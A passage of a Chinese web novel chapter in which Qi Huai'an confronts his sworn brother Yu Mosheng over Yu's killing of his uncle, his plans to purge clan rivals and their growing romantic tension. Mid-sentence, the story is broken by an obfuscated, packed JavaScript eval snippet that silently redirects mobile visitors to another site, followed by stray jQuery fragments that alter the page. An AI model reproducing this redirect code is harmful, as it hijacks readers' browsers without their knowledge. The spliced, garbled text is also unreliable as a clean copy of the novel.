戚怀安手劲大,玉慕生满脸通红,不断挣扎。
此时玉慕生被戚怀安摁在桌台上,玉慕生在下,戚怀安在上,玉慕生因为脖子被掐得难受,不停地去推戚怀安的手。
“大哥你……轻点。”玉慕生艰难地说。
此情此景有些诡异,戚怀安察觉到不对,他看了一眼玉慕生,心中猛然一慌,像被电到了一样连忙放手。玉慕生坐了起来,也面红耳赤,表情羞赧。
人的想象力真是个很神奇的东西,玉慕生没有把窗户纸捅破的时候,戚怀安对待玉慕生就只是非常纯洁的兄弟情,不掺杂一点多余的东西;玉慕生虽然有点那心思,但掩藏得很好,至少在戚怀安面前不会失态。但窗户纸一旦捅破,两个人几乎同时都往那方面想,对对方的幻想如脱缰的野马,非得用很强的定力才压得下去。
戚怀安赶紧后退几步,跟玉慕生拉开一段距离,他朝玉慕生跪了下去,说道:“属下僭越。”
玉慕生瘫软下去,背靠着桌脚坐在地上,连连咳嗽,看起来虚弱又可怜。
戚怀安忽然想起小的时候,玉霖第一次牵着玉慕生来跟戚怀安见面的场景。玉霖个子高大,玉慕生小小一只,怯生生地缩在玉霖脚边,看起来也是这样,虚弱又可怜。
玉霖把玉慕生牵到戚怀安面前,指着戚怀安对玉慕生说:“以后他就是你大哥了。”
玉霖又对戚怀安说:“怀安,你是当大哥的,要照顾弟弟。”
从那天起,戚怀安不仅仅拿玉慕生当少主,更拿玉慕生当弟弟。
一直以来,两人的关系比起主仆更像兄弟,而玉霖也默许了这种模式。
玉慕生与戚怀安结拜是玉霖安排的,让两个人像兄弟一样相处也是玉霖默许的,为什么?因为玉霖从一开始就知道戚怀安是他的儿子,但他从始至终都不知道玉慕生不是他亲儿子。
此时,玉慕生靠着桌脚蜷缩起来,他把头埋到胳膊弯里去,好像在平复呼吸,这场景倒像是戚怀安欺负了玉慕生一样。
过了好一会玉慕生都没把头抬起来,他就这么一直把头埋着,好像受了天大的委屈似的。
戚怀安忽然愧疚起来,他觉得自己作为家臣冒犯了主上,作为大哥欺负了弟弟,全都不合格。
戚怀安越想越愧疚,于是他以跪着的姿势,一点一点靠近玉慕生。
戚怀安把玉慕生的脑袋托了起来,玉慕生刚开始还想挣扎,但挣不脱戚怀安有力的大手。
然后,戚怀安居然看到玉慕生在抹眼泪。
谁能想到刚刚还杀伐果决,一下子杀了二十几个人,其中包括自己亲舅舅的玉慕生,转头就在这里抹眼泪?
戚怀安愣了,他现在是一点都看不懂玉慕生。
玉慕生用了很长时间才平复情绪,戚怀安一直静静地陪着他,偶尔用衣袖帮他擦一擦眼泪,玉慕生感到有些难为情,好在戚怀安没多说什么,就这么静静地陪伴着。
戚怀安是个很可靠的伙伴,不仅在于做事可靠,还在于情绪也很稳定,这样的人不仅自己的情绪是稳的,还能稳住身边人的情绪。
玉慕生抹去眼泪,说:“我记得我小的时候,三舅舅喜欢让我骑在他的脖子上,带我去逛集市,给我买风车,买糖葫芦,买很多我喜欢的东西。我不是铁石心肠,他死了我很伤心,我只是……不得不这么做。”
玉慕生用手托着额头,表情看上去很痛苦,他对戚怀安说:“大哥,我知道你对我很失望,但你能不能好好听我说?”
“你说,大哥在听。”戚怀安令人安心的声音传来。
“禄江口现在很危险。”玉慕生说,“当今圣上不满禄江口自治,她要分裂禄江口。”
“禄江口自治已逾百年,这是我们先辈与朝廷建立的盟约,圣上便是不满,也没有理由毁约。”戚怀安道。
玉慕生摇头,“圣上不会毁约,她也不想毁约。毁约落人口实,还有可能把人逼反,当今圣上手段非常,她想动禄江口,有的是办法,怎么会选择风险最大的一条路?圣上不想费一兵一卒,亦不想坏自己名声,她要用最不费力的手段灭了禄江口。”
玉慕生说:“所有人都知道禄江口民风彪悍,实力强劲,若非如此,我们怎能从朝廷手中争取到自治的权力?禄江口在朝廷眼里如同百足之虫,杀是杀不死的,唯有从内部瓦解,才有机会消灭。”
玉慕生认真跟戚怀安分析了起来:“禄江口权力不集中,麒麟盟由玉、龙、韩、范四家共同做主,过去四家团结,倒是问题不大,但一旦哪天四家不团结了,禄江口就四分五裂了。”
玉慕生严肃地说:“大哥,你察觉到了吗,圣上在行动,而且她一点都不着急,她就是想一点一点地搞小动作,慢慢地让我们生出嫌隙,最后内斗。”
戚怀安也严肃道:“既然如此,你就更应该把四家团结起来,你杀了龙三爷,龙家和玉家的嫌隙不就更深了吗?”
玉慕生摇头,“大哥啊,趁虚而入是因为有机可乘啊。”
戚怀安不解。
玉慕生说:“圣上之所以能找到挑拨的机会,这机会不是她凭空创造出来的,而是因为四家的嫌隙已经存在了。你还记得吗?两年前,父亲提议建堤坝,其余三家家主,这个不同意,那个觉得不是时候,最后谁也不让谁,大吵了一架。”
玉慕生又说:“四家共同话事隐患重重,冲突只会越来越多,离分裂也就不远了。若我当盟主,我会让禄江口只听一家的话。”
玉慕生内里是个野心勃勃且控制欲极强的人,别人看不出来,是因为他太会伪装。
戚怀安道:“可有些问题,多一些人论辩,不好吗?”
玉慕生却说:“大哥啊,绝大多数论辩是没有意义的,论辩的人未必想探究问题的真相,他们只是想争个输赢。”
戚怀安看着玉慕生,心想:贤弟不擅习武,但从小就把《捭阖策》、《素书》读了个透彻,论武艺他不如我,论谋略我不如他,我应该听他的才是,但是……
戚怀安语重心长地劝道:“禄江口四家共同话事已久,收拢权力不可一蹴而就,心急吃不了热豆腐。”
“我知道,我没想一蹴而就,可有件事情已经火烧眉毛了,必须马上解决。”,玉慕生身子往前,一把抓住戚怀安的手。
玉慕生对戚怀安说:“大哥,你跟我来。”
玉慕生牵着戚怀安走入玉霖书房,玉霖病重后,这里就成
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15732241|169390||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了玉慕生的地盘。
玉慕生从书架上找到一份名单和一封信,让戚怀安打开看。
“我在龙、韩、范三家都安插了探子。”玉慕生说,“探子们传来消息,四家中有一些人想趁父亲病重,我又羽翼未满,提议盟主之位由四家轮值,这是支持这一提议的人的名单。”
“轮流当盟主?今天在静岚庵里,龙元申的话不是说说而已,他们是真想这么做?”
“四家共同话事就已经乱得厉害,若再轮流当盟主……大哥,一把手的位置只要坐上去过,心气就会变得高起来,到时无论轮值的人是谁,只要是坐过那个位子的,就都觉得自己能说得上话,都认为应该听自己的,届时一个往东,一个往西,禄江口只会更乱。”
玉慕生信誓旦旦地说:“我姓玉,我有这个责任,哪怕要我当恶人,我也绝不能让禄江口乱在我手里。”
戚怀安扫了一眼名单,名单上有龙元晋。至此,戚怀安明白了玉慕生杀龙元晋的原因。
戚怀安说:“龙三爷在名单上,所以你要杀他。”
“名单上的人居心叵测,一个不能留。大哥……”
“你想让我帮你杀人?”戚怀安突然道。戚怀安眉毛往下一压,他天生气场强大,玉慕生顿了一下,没再往下说。
戚怀安质问:“像今天杀龙三爷这样,连问罪的过程都没有,直接取人性命?”
戚怀安往前一步,把玉慕生逼得后退两步。
戚怀安凛然道:“我的刀不是干这个的。妇人之仁固然要不得,但暴戾恣睢亦非正道。少主,你要收拢权力,我支持,可是不能光靠杀啊。”
玉慕生不悦道:“你口口声声叫我少主,可我的话你一句都不听。到底是我命令你,还是你命令我?又或者说,你觉得我这位置应该让给你才对?”
戚怀安没想到玉慕生会说这样的话,他跪了下来,不卑不亢地说:“属下没有这种心思。只是少主,您是想要一个阿谀奉承的媚主之人,还是想要一个敢说实话的忠良?”
玉慕生侧过头去,沉默了一会,忽然小声说了一句:“你要是媚主就好了。”
戚怀安瞪大了眼,像被闪电击中一样,他不自觉地抬头一看,只见玉慕生的耳根又红了。
戚怀安赶紧把头低下来,他听见自己的心脏“咚咚”直跳。
真荒唐。
在今天之前,戚怀安没想到事情会这么发展,他不停地在心里对自己说,慕生只是一时心血来潮,冷静两天就好了。
戚怀安离开行江筑时,玉慕生答应了他一切从长计议,不造无端杀戮。
戚怀安有自己的家,不住行江筑,但玉霖很喜欢他,曾多次留他在行江筑小住,他外婆又是行江筑的管事嬷嬷,所以戚怀安对行江筑非常熟悉。
虽然住在行江筑对戚怀安来说不是什么陌生的事,但从今天开始,戚怀安不敢再住了。
他怕玉慕生继续荒唐下去,更怕自己跟着玉慕生一起荒唐。
戚怀安连夜骑马回家,可就在他回家的路上,戚怀安看到有一队人点着火把朝行江筑走去了。
来的人不少,看上去气势汹汹,戚怀安担心玉慕生,赶紧掉头回去。